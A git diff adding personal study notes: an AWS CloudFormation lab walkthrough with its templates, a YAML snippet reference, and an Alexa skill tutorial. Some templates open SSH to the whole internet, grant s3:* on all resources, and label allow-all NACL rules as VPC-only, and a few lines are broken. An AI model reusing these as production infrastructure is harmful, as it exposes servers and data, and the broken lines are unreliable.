CloudFormation. + - `lab-application2.yaml` + - This template has an additional configuration to permit inbound SSH traffic on port 22: + +```c +- IpProtocol: tcp + FromPort: 22 + ToPort: 22 + CidrIp: 0.0.0.0/0 +``` + +4. lab-application + - Update button and configure: + - Replace current template + - Template source: Upload a template file + - Upload a template file: ab-application2.yaml + - Click Next three times to advance to the Review page. + - Change set preview + - In the Change set preview section at the bottom of the page, CloudFormation will display what resources need to be updated: + - indicating that CloudFormation will Modify the Web Server security group without needing to replace it (Replacement = False). + - This means there will be a minor change to the Security Group and no references to the security group will need to change. + - Click Update stack + +![change-set-preview](https://i.imgur.com/5Oj8Uw1.png) + + +5. Return to the EC2 console and select the Web Server security group. + - The Inbound tab should display an additional rule for SSH traffic. + + +### Task 4: Explore Templates with AWS CloudFormation Designer + +1. Services > CloudFormation > Designer + +2. open Local lab-application2.yaml template + +3. Designer will display a graphical representation of the template: + +4. Experiment with the features of the Designer. + - Click on the displayed resources. The lower pane will display the portion of the template that defines the resources. + - Try dragging a new resource from the Resource Types pane on the left into the design area. The definition of the resource will be automatically inserted into the template. + - Try dragging the resource connector circles to create relationships between resources + - Open the lab-network.yaml template you downloaded earlier in the lab and explore its resources too + +### Task 5: Delete the Stack +When resources are no longer required, CloudFormation can delete the resources built for the stack. +- A Deletion Policy can also be specified against resources, which can preserve or (in some cases) backup a resource when its stack is deleted. +- This is useful for retaining databases, disk volumes or any resource that might be required after stack deletion. + +The `lab-application` stack has been configured to take a snapshot of an Amazon EBS disk volume before it is deleted: + +```C +DiskVolume: + Type: AWS::EC2::Volume + Properties: + Size: 100 + AvailabilityZone: !GetAtt WebServerInstance.AvailabilityZone + Tags: + - Key: Name + Value: Web Data + DeletionPolicy: Snapshot +``` + +The DeletionPolicy in the final line is directing CloudFormation to create a snapshot of the disk volume before it is deleted. + +1. CloudFormation console > lab-application > Delete > Delete stack. + +2. monitor the deletion process in the Events tab + - see a reference to the EBS snapshot being created. + +3. Wait for the stack to be deleted. It will disappear from the list. + +4. check that a snapshot was created of the EBS volume before it was deleted. + - Services > EC2 > Snapshots > a snapshot with a Started time in the last few minutes. + + + + + + + + + + + + + +--- diff --git a/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-application.yaml b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-application.yaml new file mode 100644 index 00000000000..fa88f67d342 --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-application.yaml @@ -0,0 +1,129 @@ +AWSTemplateFormatVersion: 2010-09-09 + +Description: >- + Application Template: Demonstrates how to reference resources from a different stack. + This template provisions an EC2 instance in a VPC Subnet provisioned in a different stack. + +# This template creates: +# Amazon EC2 instance +# Security Group + +###################### +# Parameters section +###################### + +Parameters: + + NetworkStackName: + Description: >- + Name of an active CloudFormation stack that contains the networking + resources, such as the VPC and subnet that will be used in this stack. + Type: String + MinLength: 1 + MaxLength: 255 + AllowedPattern: '^[a-zA-Z][-a-zA-Z0-9]*$' + Default: lab-network + + AmazonLinuxAMIID: + Type: AWS::SSM::Parameter::Value + Default: /aws/service/ami-amazon-linux-latest/amzn-ami-hvm-x86_64-gp2 + + +###################### +# Resources section +###################### + +Resources: + + WebServerInstance: + Type: AWS::EC2::Instance + Metadata: + 'AWS::CloudFormation::Init': + configSets: + All: + - ConfigureSampleApp + ConfigureSampleApp: + packages: + yum: + httpd: [] + files: + /var/www/html/index.html: + content: | + AWS CloudFormation Logo +

    Congratulations, you have successfully launched the AWS CloudFormation sample.

    + mode: 000644 + owner: apache + group: apache + services: + sysvinit: + httpd: + enabled: true + ensureRunning: true + Properties: + InstanceType: t2.micro + ImageId: AmazonLinuxAMIID + NetworkInterfaces: + - GroupSet: + - !Ref WebServerSecurityGroup + AssociatePublicIpAddress: true + DeviceIndex: 0 + DeleteOnTermination: true + SubnetId: + Fn::ImportValue: + !Sub ${NetworkStackName}-SubnetID + Tags: + - Key: Name + Value: Web Server + UserData: + Fn::Base64: !Sub | + #!/bin/bash -xe + yum update -y aws-cfn-bootstrap + # Install the files and packages from the metadata + /opt/aws/bin/cfn-init -v --stack ${AWS::StackName} --resource WebServerInstance --configsets All --region ${AWS::Region} + # Signal the status from cfn-init + /opt/aws/bin/cfn-signal -e $? --stack ${AWS::StackName} --resource WebServerInstance --region ${AWS::Region} + CreationPolicy: + ResourceSignal: + Timeout: PT5M + + DiskVolume: + Type: AWS::EC2::Volume + Properties: + Size: 100 + AvailabilityZone: !GetAtt WebServerInstance.AvailabilityZone + Tags: + - Key: Name + Value: Web Data + DeletionPolicy: Snapshot + + DiskMountPoint: + Type: AWS::EC2::VolumeAttachment + Properties: + InstanceId: !Ref WebServerInstance + VolumeId: !Ref DiskVolume + Device: /dev/sdh + + WebServerSecurityGroup: + Type: AWS::EC2::SecurityGroup + Properties: + GroupDescription: Enable HTTP ingress + VpcId: + Fn::ImportValue: + !Sub ${NetworkStackName}-VPCID + SecurityGroupIngress: + - IpProtocol: tcp + FromPort: 80 + ToPort: 80 + CidrIp: 0.0.0.0/0 + Tags: + - Key: Name + Value: Web Server Security Group + +###################### +# Outputs section +###################### + +Outputs: + URL: + Description: URL of the sample website + Value: 'http://${WebServerInstance.PublicDnsName}' diff --git a/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-application2.yaml b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-application2.yaml new file mode 100644 index 00000000000..ce7eaafe721 --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-application2.yaml @@ -0,0 +1,131 @@ +AWSTemplateFormatVersion: 2010-09-09 +Description: >- + Application Template: Demonstrates how to reference resources from a different stack. + This template provisions an EC2 instance in a VPC Subnet provisioned in a different stack. + +# This template creates: +# Amazon EC2 instance +# Security Group + +###################### +# Parameters section +###################### + +Parameters: + + NetworkStackName: + Description: >- + Name of an active CloudFormation stack that contains the networking + resources, such as the VPC and subnet that will be used in this stack. + Type: String + MinLength: 1 + MaxLength: 255 + AllowedPattern: '^[a-zA-Z][-a-zA-Z0-9]*$' + Default: lab-network + + AmazonLinuxAMIID: + Type: AWS::SSM::Parameter::Value + Default: /aws/service/ami-amazon-linux-latest/amzn-ami-hvm-x86_64-gp2 + +###################### +# Resources section +###################### + +Resources: + + WebServerInstance: + Type: AWS::EC2::Instance + Metadata: + 'AWS::CloudFormation::Init': + configSets: + All: + - ConfigureSampleApp + ConfigureSampleApp: + packages: + yum: + httpd: [] + files: + /var/www/html/index.html: + content: | + AWS CloudFormation Logo +

    Congratulations, you have successfully launched the AWS CloudFormation sample.

    + mode: 000644 + owner: apache + group: apache + services: + sysvinit: + httpd: + enabled: true + ensureRunning: true + Properties: + InstanceType: t2.micro + ImageId: AmazonLinuxAMIID + NetworkInterfaces: + - GroupSet: + - !Ref WebServerSecurityGroup + AssociatePublicIpAddress: true + DeviceIndex: 0 + DeleteOnTermination: true + SubnetId: + Fn::ImportValue: + !Sub ${NetworkStackName}-SubnetID + Tags: + - Key: Name + Value: Web Server + UserData: + Fn::Base64: !Sub | + #!/bin/bash -xe + yum update -y aws-cfn-bootstrap + # Install the files and packages from the metadata + /opt/aws/bin/cfn-init -v --stack ${AWS::StackName} --resource WebServerInstance --configsets All --region ${AWS::Region} + # Signal the status from cfn-init + /opt/aws/bin/cfn-signal -e $? --stack ${AWS::StackName} --resource WebServerInstance --region ${AWS::Region} + CreationPolicy: + ResourceSignal: + Timeout: PT5M + + DiskVolume: + Type: AWS::EC2::Volume + Properties: + Size: 100 + AvailabilityZone: !GetAtt WebServerInstance.AvailabilityZone + Tags: + - Key: Name + Value: Web Data + DeletionPolicy: Snapshot + + DiskMountPoint: + Type: AWS::EC2::VolumeAttachment + Properties: + InstanceId: !Ref WebServerInstance + VolumeId: !Ref DiskVolume + Device: /dev/sdh + + WebServerSecurityGroup: + Type: AWS::EC2::SecurityGroup + Properties: + GroupDescription: Enable HTTP ingress + VpcId: + Fn::ImportValue: + !Sub ${NetworkStackName}-VPCID + SecurityGroupIngress: + - IpProtocol: tcp + FromPort: 80 + ToPort: 80 + CidrIp: 0.0.0.0/0 + - IpProtocol: tcp + FromPort: 22 + ToPort: 22 + CidrIp: 0.0.0.0/0 + Tags: + - Key: Name + Value: Web Server Security Group + +###################### +# Outputs section +###################### + +Outputs: + URL: + Description: URL of the sample website + Value: 'http://${WebServerInstance.PublicDnsName}' diff --git a/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-network.yaml b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-network.yaml new file mode 100644 index 00000000000..75684c034f8 --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/lab-network.yaml @@ -0,0 +1,92 @@ + +AWSTemplateFormatVersion: 2010-09-09 + +Description: >- + Network Template: Sample template that creates a VPC with DNS and public IPs enabled. + +# This template creates: +# VPC +# Internet Gateway +# Public Route Table +# Public Subnet + +###################### +# Resources section +###################### + +Resources: + + ## VPC + + VPC: + Type: AWS::EC2::VPC + Properties: + EnableDnsSupport: true + EnableDnsHostnames: true + CidrBlock: 10.0.0.0/16 + + ## Internet Gateway + + InternetGateway: + Type: AWS::EC2::InternetGateway + + VPCGatewayAttachment: + Type: AWS::EC2::VPCGatewayAttachment + Properties: + VpcId: !Ref VPC + InternetGatewayId: !Ref InternetGateway + + ## Public Route Table + + PublicRouteTable: + Type: AWS::EC2::RouteTable + Properties: + VpcId: !Ref VPC + + PublicRoute: + Type: AWS::EC2::Route + DependsOn: VPCGatewayAttachment + Properties: + RouteTableId: !Ref PublicRouteTable + DestinationCidrBlock: 0.0.0.0/0 + GatewayId: !Ref InternetGateway + + ## Public Subnet + + PublicSubnet: + Type: AWS::EC2::Subnet + Properties: + VpcId: !Ref VPC + CidrBlock: 10.0.0.0/24 + + PublicSubnetRouteTableAssociation: + Type: AWS::EC2::SubnetRouteTableAssociation + Properties: + SubnetId: !Ref PublicSubnet + RouteTableId: !Ref PublicRouteTable + + PublicSubnetNetworkAclAssociation: + Type: AWS::EC2::SubnetNetworkAclAssociation + Properties: + SubnetId: !Ref PublicSubnet + NetworkAclId: !GetAtt + - VPC + - DefaultNetworkAcl + +###################### +# Outputs section +###################### + +Outputs: + + VPC: + Description: VPC ID + Value: VPC + Export: + Name: !Sub '${AWS::StackName}-VPCID' + + PublicSubnet: + Description: The subnet ID to use for public web servers + Value: !Ref PublicSubnet + Export: + Name: !Sub '${AWS::StackName}-SubnetID' diff --git a/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/yaml_file.md b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/yaml_file.md new file mode 100644 index 00000000000..6630a72c43e --- /dev/null +++ b/_posts/01Cloud/01AWS/AWS_Lab/AWS-CloudFormation/yaml_file.md @@ -0,0 +1,527 @@ + +# make files + +[toc] + +--- + +## AWSTemplateFormatVersion +`AWSTemplateFormatVersion: 2010-09-09` + +--- + +## Description +`Description: Linux Academy - SAAC01 - RDS - Adrian Cantrill` + +--- + +## Parameters + +```yaml +Parameters: + LatestAmiId: + Type: 'AWS::SSM::Parameter::Value' + Default: '/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2' + SSHKeyPair: + Description: SSH Key Pair for Bastion and App Instances + Type: AWS::EC2::KeyPair::KeyName +``` + + +--- + + +## resource + + +```yaml +Resources: + + AAA: + Type: xxx + + BBB: + Type: xxx +``` + +--- + +### network:vpc + +```yaml + VPC: + Type: AWS::EC2::VPC + Properties: + CidrBlock: 10.0.0.0/16 + EnableDnsSupport: true + EnableDnsHostnames: true + InstanceTenancy: default + Tags: + - Key: Name + Value: VPC1 +``` + +--- + +### network:subnet + +```yaml + subnetXX: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: + Fn::Select: + - 0 + - Fn::GetAZs: "" + VpcId: + Ref: xxxx + CidrBlock: x.x.x.x/24 + Tags: + - Key: Name + Value: subnet-name +``` + + +```yaml + subnetpublicA: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: + Fn::Select: + - 0 + - Fn::GetAZs: "" + VpcId: + Ref: VPC + CidrBlock: 10.0.1.0/24 + Tags: + - Key: Name + Value: subnet-public-A + + subnetpublicB: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: + Fn::Select: + - 1 + - Fn::GetAZs: "" + VpcId: + Ref: VPC + CidrBlock: 10.0.2.0/24 + Tags: + - Key: Name + Value: subnet-public-B + + subnetappA: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: + Fn::Select: + - 0 + - Fn::GetAZs: "" + VpcId: + Ref: VPC + CidrBlock: 10.0.11.0/24 + Tags: + - Key: Name + Value: subnet-app-A + + subnetappB: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: + Fn::Select: + - 1 + - Fn::GetAZs: "" + VpcId: + Ref: VPC + CidrBlock: 10.0.12.0/24 + Tags: + - Key: Name + Value: subnet-app-B + + subnetdbA: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: + Fn::Select: + - 0 + - Fn::GetAZs: "" + VpcId: + Ref: VPC + CidrBlock: 10.0.21.0/24 + Tags: + - Key: Name + Value: subnet-db-A + + subnetdbB: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: + Fn::Select: + - 1 + - Fn::GetAZs: "" + VpcId: + Ref: VPC + CidrBlock: 10.0.22.0/24 + Tags: + - Key: Name + Value: subnet-db-B + +``` + + +--- + +### network:Gateway + +```yaml + InternetGateway: + Type: 'AWS::EC2::InternetGateway' + Properties: + Tags: + - Key: Name + Value: vpc1-igw + + InternetGatewayAttachment: + Type: 'AWS::EC2::VPCGatewayAttachment' + Properties: + VpcId: + Ref: VPC + InternetGatewayId: + Ref: InternetGateway + + RouteTablePublic: + Type: 'AWS::EC2::RouteTable' + Properties: + VpcId: + Ref: VPC + Tags: + - Key: Name + Value: rt-public + + RouteTablePrivateA: + Type: 'AWS::EC2::RouteTable' + Properties: + VpcId: + Ref: VPC + Tags: + - Key: Name + Value: rt-private-A + + RouteTablePrivateB: + Type: 'AWS::EC2::RouteTable' + Properties: + VpcId: + Ref: VPC + Tags: + - Key: Name + Value: rt-private-B + + RouteTableAssociationPublicA: + Type: 'AWS::EC2::SubnetRouteTableAssociation' + Properties: + SubnetId: + Ref: subnetpublicA + RouteTableId: + Ref: RouteTablePublic + + RouteTableAssociationPublicB: + Type: 'AWS::EC2::SubnetRouteTableAssociation' + Properties: + SubnetId: + Ref: subnetpublicB + RouteTableId: + Ref: RouteTablePublic + + RouteTableAssociationAppA: + Type: 'AWS::EC2::SubnetRouteTableAssociation' + Properties: + SubnetId: + Ref: subnetappA + RouteTableId: + Ref: RouteTablePrivateA + + RouteTableAssociationAppB: + Type: 'AWS::EC2::SubnetRouteTableAssociation' + Properties: + SubnetId: + Ref: subnetappB + RouteTableId: + Ref: RouteTablePrivateB + + RouteTableAssociationDBA: + Type: 'AWS::EC2::SubnetRouteTableAssociation' + Properties: + SubnetId: + Ref: subnetdbA + RouteTableId: + Ref: RouteTablePrivateA + + RouteTableAssociationDBB: + Type: 'AWS::EC2::SubnetRouteTableAssociation' + Properties: + SubnetId: + Ref: subnetdbB + RouteTableId: + Ref: RouteTablePrivateB + + + RouteTablePublicInternetRoute: + Type: 'AWS::EC2::Route' + DependsOn: InternetGatewayAttachment + Properties: + RouteTableId: + Ref: RouteTablePublic + DestinationCidrBlock: '0.0.0.0/0' + GatewayId: + Ref: InternetGateway +``` + +--- + +### NACL + +```yaml + NetworkAclPublic: + Type: 'AWS::EC2::NetworkAcl' + Properties: + VpcId: + Ref: VPC + Tags: + - Key: Name + Value: nacl-public + + NetworkAclPrivate: + Type: 'AWS::EC2::NetworkAcl' + Properties: + VpcId: + Ref: VPC + Tags: + - Key: Name + Value: nacl-private + + SubnetNetworkAclAssociationPublicA: + Type: 'AWS::EC2::SubnetNetworkAclAssociation' + Properties: + SubnetId: + Ref: subnetpublicA + NetworkAclId: + Ref: NetworkAclPublic + + SubnetNetworkAclAssociationPublicB: + Type: 'AWS::EC2::SubnetNetworkAclAssociation' + Properties: + SubnetId: + Ref: subnetpublicB + NetworkAclId: + Ref: NetworkAclPublic + + SubnetNetworkAclAssociationAppA: + Type: 'AWS::EC2::SubnetNetworkAclAssociation' + Properties: + SubnetId: + Ref: subnetappA + NetworkAclId: + Ref: NetworkAclPrivate + + SubnetNetworkAclAssociationAppB: + Type: 'AWS::EC2::SubnetNetworkAclAssociation' + Properties: + SubnetId: + Ref: subnetappB + NetworkAclId: + Ref: NetworkAclPrivate + + SubnetNetworkAclAssociationDBA: + Type: 'AWS::EC2::SubnetNetworkAclAssociation' + Properties: + SubnetId: + Ref: subnetdbA + NetworkAclId: + Ref: NetworkAclPrivate + + SubnetNetworkAclAssociationDBB: + Type: 'AWS::EC2::SubnetNetworkAclAssociation' + Properties: + SubnetId: + Ref: subnetdbB + NetworkAclId: + Ref: NetworkAclPrivate + + NetworkAclEntryInPublicAllowAll: + Type: 'AWS::EC2::NetworkAclEntry' + Properties: + NetworkAclId: + Ref: NetworkAclPublic + RuleNumber: 99 + Protocol: -1 + RuleAction: allow + Egress: false + CidrBlock: '0.0.0.0/0' + + NetworkAclEntryOutPublicAllowAll: + Type: 'AWS::EC2::NetworkAclEntry' + Properties: + NetworkAclId: + Ref: NetworkAclPublic + RuleNumber: 99 + Protocol: -1 + RuleAction: allow + Egress: true + CidrBlock: '0.0.0.0/0' + + NetworkAclEntryInPrivateAllowVPC: + Type: 'AWS::EC2::NetworkAclEntry' + Properties: + NetworkAclId: + Ref: NetworkAclPrivate + RuleNumber: 99 + Protocol: -1 + RuleAction: allow + Egress: false + CidrBlock: '0.0.0.0/0' + + NetworkAclEntryOutPrivateAllowVPC: + Type: 'AWS::EC2::NetworkAclEntry' + Properties: + NetworkAclId: + Ref: NetworkAclPrivate + RuleNumber: 99 + Protocol: -1 + RuleAction: allow + Egress: true + CidrBlock: '0.0.0.0/0' +``` + +--- + +### EIPA + + +```yaml + EIPA: + Type: 'AWS::EC2::EIP' + Properties: + Domain: vpc + + EIPB: + Type: 'AWS::EC2::EIP' + Properties: + Domain: vpc + + NatGatewayA: + Type: 'AWS::EC2::NatGateway' + Properties: + AllocationId: !GetAtt EIPA.AllocationId + SubnetId: + Ref: subnetpublicA + + NatGatewayB: + Type: 'AWS::EC2::NatGateway' + Properties: + AllocationId: !GetAtt EIPB.AllocationId + SubnetId: + Ref: subnetpublicB + + RouteTablePrivateANATGWRoute: + Type: 'AWS::EC2::Route' + Properties: + RouteTableId: + Ref: RouteTablePrivateA + DestinationCidrBlock: '0.0.0.0/0' + NatGatewayId: + Ref: NatGatewayA + + RouteTablePrivateBNATGWRoute: + Type: 'AWS::EC2::Route' + Properties: + RouteTableId: + Ref: RouteTablePrivateB + DestinationCidrBlock: '0.0.0.0/0' + NatGatewayId: + Ref: NatGatewayB + + + EIPBASTION: + Type: 'AWS::EC2::EIP' + Properties: + Domain: vpc + + BastionSG: + Type: 'AWS::EC2::SecurityGroup' + Properties: + GroupDescription: BastionSG + SecurityGroupIngress: + - IpProtocol: tcp + FromPort: 22 + ToPort: 22 + CidrIp: '0.0.0.0/0' + - IpProtocol: tcp + FromPort: 80 + ToPort: 80 + CidrIp: '0.0.0.0/0' + - IpProtocol: tcp + FromPort: 443 + ToPort: 443 + CidrIp: '0.0.0.0/0' + VpcId: + Ref: VPC + + IAMRole: + Type: 'AWS::IAM::Role' + Properties: + AssumeRolePolicyDocument: + Version: '2012-10-17' + Statement: + - Effect: Allow + Principal: + Service: 'ec2.amazonaws.com' + Action: 'sts:AssumeRole' + Policies: + - PolicyName: 's3' + PolicyDocument: + Version: '2012-10-17' + Statement: + - Effect: Allow + Action: + - 's3:*' + Resource: + - '*' + + BastionInstance: + Type: AWS::EC2::Instance + Properties: + KeyName: + Ref: SSHKeyPair + ImageId: + Ref: LatestAmiId + InstanceType: t3.micro + NetworkInterfaces: + - AssociatePublicIpAddress: "true" + DeviceIndex: "0" + GroupSet: + - Ref: "BastionSG" + SubnetId: + Ref: "subnetpublicA" + Tags: + - Key: Name + Value: BastionHostAndWeb + UserData: + 'Fn::Base64': !Sub | + #!/bin/bash -ex + sudo yum update -y + sudo amazon-linux-extras install -y lamp-mariadb10.2-php7.2 php7.2 + sudo yum install -y httpd + sudo systemctl start httpd + sudo systemctl enable httpd + cd /tmp + sudo wget https://wordpress.org/latest.tar.gz + sudo tar -xzf latest.tar.gz + sudo cp -r ./wordpress/* /var/www/html/ + sudo chown -R apache /var/www + sudo chgrp -R apache /var/www + sudo chmod 2775 /var/www + find /var/www -type d -exec sudo chmod 2775 {} \; + find /var/www -type f -exec sudo chmod 0664 {} \; + sudo systemctl restart httpd +``` diff --git a/_posts/01Cloud/01AWS/Alex/2020-07-16-Alexa-1stSkill.md b/_posts/01Cloud/01AWS/Alex/2020-07-16-Alexa-1stSkill.md new file mode 100644 index 00000000000..21e15fb3737 --- /dev/null +++ b/_posts/01Cloud/01AWS/Alex/2020-07-16-Alexa-1stSkill.md @@ -0,0 +1,1115 @@ +--- +title: AWS Alex First Skill - RedVelvet Time +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, Alexa] +tags: [AWS, Lab, Alexa] +math: true +image: +--- + +# Alex First Skill - RedVelvet Time + +- [Alex First Skill - RedVelvet Time](#alex-first-skill---redvelvet-time) + - [Create a Skill in Five Minutes](#create-a-skill-in-five-minutes) + - [Introduction: How Users Will Interact With Cake Time](#introduction-how-users-will-interact-with-cake-time) + - [Build the Cake Time Skill](#build-the-cake-time-skill) + - [Step 1. Log in](#step-1-log-in) + - [Step 2. Create your skill](#step-2-create-your-skill) + - [Step 3. Greet the user](#step-3-greet-the-user) + - [Step 4: Build](#step-4-build) + - [Step 5: Test your skill](#step-5-test-your-skill) + - [Code](#code) + - [Collecting slots turn-by-turn with auto-delegation](#collecting-slots-turn-by-turn-with-auto-delegation) + - [Step 1: Ask the user for their birthday](#step-1-ask-the-user-for-their-birthday) + - [Step 2: Use an intent and slots to capture information](#step-2-use-an-intent-and-slots-to-capture-information) + - [Step 3: Use dialog management](#step-3-use-dialog-management) + - [Step 4: Define a new handler](#step-4-define-a-new-handler) + - [Step 5: Test your skill](#step-5-test-your-skill-1) + - [Wrap-up](#wrap-up) + - [Adding memory to skill](#adding-memory-to-skill) + - [Step 1: Use Amazon S3 to save and read data](#step-1-use-amazon-s3-to-save-and-read-data) + - [Step 2: Save Data](#step-2-save-data) + - [Step 3: Read stored data](#step-3-read-stored-data) + - [How to delete or reset the user’s birthday](#how-to-delete-or-reset-the-users-birthday) + - [test, so click the Test tab, then follow the steps below.](#test-so-click-the-test-tab-then-follow-the-steps-below) + - [Using the Alexa Settings API](#using-the-alexa-settings-api) + - [Step 1: Get Device ID, API endpoint, and Authorization Token for Alexa Settings API](#step-1-get-device-id-api-endpoint-and-authorization-token-for-alexa-settings-api) + - [Step 2: Using the Alexa Settings API to retrieve the user time zone](#step-2-using-the-alexa-settings-api-to-retrieve-the-user-time-zone) + + +--- + +## Create a Skill in Five Minutes + +create a skill: “Cake Time" + +What you’ll learn: +- How to build a simple skill called Cake Time with step-by-step instructions +- How to use the Alexa Developer Console +- How to host your skill’s backend resources +- How to modify the response that Alexa speaks to customers +- How to test your skill + +## Introduction: How Users Will Interact With Cake Time +build Cake Time, a simple skill that: +- asks the user for their birthday +- remembers it +- tells them how many days until their next birthday +- wishes them Happy Birthday on their birthday + +At the end of module 3, your first Alexa skill will say “Hello! Welcome to Cake Time. That was a piece of cake! Bye!” +- The skill is simple to use yet a bit complex to build. The burden is on us, the skill builder, to make the interaction simple and natural. +- One way to make it as natural as possible is to mimic human conversational patterns. Humans have memory so your skill should too. It would be frustrating if your best friend always had to ask your name (which may be a sign that they really aren't your best friend at all). While you could build cake time in a day, because of its complexity you'll build cake time over four modules in this course. + + +## Build the Cake Time Skill +### Step 1. Log in + +### Step 2. Create your skill +1. Click Create Skill on the right-hand side of the console. A new page displays. +1. In the Skill name field, enter Cake Time. +1. Leave the Default language set to English (US). +1. You are building a `custom skill`. Under Choose a model to add to your skill, select Custom. + 1. Skills have a **front end** and **backend**. + 1. The front end is where you map utterances (what the user says) into an intent (the desired action). + 1. You must decide how to handle the user's intent in the backend. + 1. Host the skill yourself using an `AWS Lambda function or HTTPS endpoint`, or choose Alexa to host the skill for you. + 1. There are limits to the AWS Free Tier, so if your skill goes viral, you may want to move to the self-hosted option. + 1. To follow the steps in this course, choose Alexa-Hosted (Node.js). +1. Choose a method to host your skill's backend resource: `Alexa-Hosted (Python)`. +1. Create skill. +1. exit and return to the Alexa developer console, find your skill on the Skills tab, in the Alexa Skills list. Click Edit to continue working on your skill. + +### Step 3. Greet the user + +1. The first thing a user will want to do with the skill is open it. +2. The intent of opening the skill is built into the experience, so you don't need to define this intent in your front end. +3. However, you need to respond to the intent in your backend. + - update your backend code to greet the user when they open the skill. +4. Open the Cake Time skill. Click the **Code tab**. + +5. There are two pieces to a handler: + - `can_handle() function`: define what requests the handler responds to. + - If your skill receives a request, the can_handle() function within each handler determines whether or not that handler can service the request. + - In this case + - the user wants to launch the skill, which is a `LaunchRequest`. + - Therefore, the ca n_handle() function within the `LaunchRequestHandler` will let the SDK know it can fulfill the request. + - In computer terms, the can_handle returns true to confirm it can do the work. + + - `handle() function`: returns a response to the user. + - line that begins `speak_output =`. + - This variable contains the string of words the skill should say back to the user when they launch the skill. + + - What should happen when a user launches the Cake Time skill? + - want the skill to simply confirm that the user opened it by saying, "Hello! Welcome to Cake Time. That was a piece of cake! Bye!" Within the `LaunchRequestHandler` object, find the `handle()` function. + - This function uses the `responseBuilder` function to compose and return the response to the user. + +6. Within the `LaunchRequestHandler` object + - the handle() function + - Replace: `speak_output = "Hello! Welcome to Cake Time. That was a piece of cake! Bye!"` + - `.ask() function`: omit this line of code for now. + +```py +class LaunchRequestHandler(AbstractRequestHandler): + """Handler for Skill Launch.""" + + def can_handle(self, handler_input): # type: (HandlerInput) -> bool + return ask_utils.is_request_type("LaunchRequest")(handler_input) + + + def handle(self, handler_input): # type: (HandlerInput) -> Response + + speak_output = "Hello! Welcome to Cake Time. That was a piece of cake! Bye!" + # words the skill should say back to the user when launch the skill + + return ( + handler_input.response_builder # help build the response to the user + .speak(speak_output) # .speak(): tells responseBuilder to speak the value of speak_output to the user. + # .ask(speak_output) # .ask(): If the skill was supposed to listen for the user’s response + .response # converts the responseBuilder’s work into the response that the skill will return. + ) +``` + +7. **save** + +8. **Deploy** + + +### Step 4: Build + +1. Build > Invacation > change `Skill Invocation Name` > save > `Build Model` + + +### Step 5: Test your skill +1. Click the **Test tab**. +2. An alert may appear requesting to use your computer's microphone. Click Allow. +3. From the drop-down menu at the top left of the page, select `Development`. + - 2 ways to test your skill in the console. + - type what the user would say into the box at the top left. + - speak to the skill by clicking and holding the microphone icon and speaking. + +3. So far, the skill has one intent: LaunchRequest. + - This function responds to the user when they ask Alexa to open or launch the skill. + - The user will say, "Alexa, open Cake Time." Cake Time is the name of your skill and was automatically set as the invocation name for the skill. You can change the invocation name, but let's leave it as is for this exercise. + +4. Test the skill. Type open Cake Time (not case sensitive) into the box at the top left and press ENTER, or click and hold the microphone icon and say, "Open Cake Time." + +5. When testing on an Alexa-enabled device, you need the wake word: "Alexa, open Cake Time" + + +### Code + +```py +# -*- coding: utf-8 -*- + +# This sample demonstrates handling intents from an Alexa skill using the Alexa Skills Kit SDK for Python. +# Please visit https://alexa.design/cookbook for additional examples on implementing slots, dialog management, +# session persistence, api calls, and more. +# This sample is built using the handler classes approach in skill builder. +import logging +import ask_sdk_core.utils as ask_utils + +from ask_sdk_core.skill_builder import SkillBuilder +from ask_sdk_core.dispatch_components import AbstractRequestHandler +from ask_sdk_core.dispatch_components import AbstractExceptionHandler +from ask_sdk_core.handler_input import HandlerInput + +from ask_sdk_model import Response + +logger = logging.getLogger(__name__) +logger.setLevel(logging.INFO) + + +class LaunchRequestHandler(AbstractRequestHandler): + """Handler for Skill Launch.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + + return ask_utils.is_request_type("LaunchRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "Hello! Welcome to Cake Time. That was a piece of cake! Bye!" + + return ( + handler_input.response_builder + .speak(speak_output) + #.ask(speak_output) + .response + ) + + +class HelloWorldIntentHandler(AbstractRequestHandler): + """Handler for Hello World Intent.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("HelloWorldIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "Hello World!" + + return ( + handler_input.response_builder + .speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) + + +class HelpIntentHandler(AbstractRequestHandler): + """Handler for Help Intent.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("AMAZON.HelpIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "You can say hello to me! How can I help?" + + return ( + handler_input.response_builder + .speak(speak_output) + .ask(speak_output) + .response + ) + + +class CancelOrStopIntentHandler(AbstractRequestHandler): + """Single handler for Cancel and Stop Intent.""" + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return (ask_utils.is_intent_name("AMAZON.CancelIntent")(handler_input) or + ask_utils.is_intent_name("AMAZON.StopIntent")(handler_input)) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "Goodbye!" + + return ( + handler_input.response_builder + .speak(speak_output) + .response + ) + + +class SessionEndedRequestHandler(AbstractRequestHandler): + """Handler for 